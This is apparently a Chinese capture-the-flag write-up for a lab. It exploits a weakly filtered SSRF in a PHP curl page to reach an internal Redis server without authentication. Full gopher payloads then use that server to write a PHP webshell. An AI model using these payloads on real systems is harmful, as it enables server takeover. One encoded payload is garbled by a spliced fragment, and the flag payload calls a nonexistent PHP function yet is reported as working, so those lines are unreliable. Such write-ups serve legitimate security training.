环境
首先下载资源包,Ubuntu通过docker拉取环境。
docker-compose up -d
分析
<?php
highlight_file(__file__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
die('No, No, No!');
}
curl($url);
}
if(isset($_GET['info'])){
phpinfo();
}
?>
查看代码发现,存在url接收参数,传递参数尝试是否含有ssrf。
发现确实存在ssrf。
但是查看代码发现,过滤了file、dict、localhost等。
过滤dict是为了防止探测端口。
过滤file是为了防止读取文件。
查看代码发现,如果传递参数info,那么会打印phpinfo(),尝试看看有没有有用的线索。
当前主机的内网IP为172.20.0.3.
那么咱们尝试url为内网IP能不能有打印的东西。
发现打印了两次,也就是读取了两次这个文件。
那么尝试利用内网IP进行探测端口,这里使用burp。
从这里看,只开放了80端口,那没有什么用。
那去探测内网中是否存在其他服务器。
扫出来发现只有.2和.3存在怀疑。
尝试.2
确实存在web服务。那么扫描.2的端口
很明显,6379和80端口开着。
访问内网的.2的6379端口,出现了redis的报错。
那么就可以尝试redis未授权访问攻击了。
攻击
尝试使用gopherus工具打一下。
先尝试执行id,路径先选择默认。记得修改IP地址为内网IP地址。
gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2423%0D%0A%0A%0A%3C%3Fphp%20system%28%60id%60%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
先解码查看
flushall是清空所有数据
gopher://172.20.0.2:6379/_*1
$8
flushall
*3
$3
set
$1
1
$23
<?php system(`id`);
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
查看是否存在这个shell.php文件。
那么就是上传失败
再次使用url进行编码。
gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2560id%2560%2529%253B%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
发现一直在转圈圈。那么基本就是未写入。
那么尝试扫描路径,尝试寻找权限低的文件插入。
发现存在http://192.168.61.133:8091/?url=http://172.20.0.2:80/upload
尝试在这个里面写webshell。
gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2423%0D%0A%0A%0A%3C%3Fphp%20system%28%60id%60%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
再次使用url进行编码并且进行攻击。
gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2560id%2560%2529%253B%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
写入成功,但是没有执行
写拿flag的payload。
gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20systemctl%28%27cat%20/flag%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
以上帝视角发现成功。
记得二次编码。
也成功了
接下来就是写反弹shell了。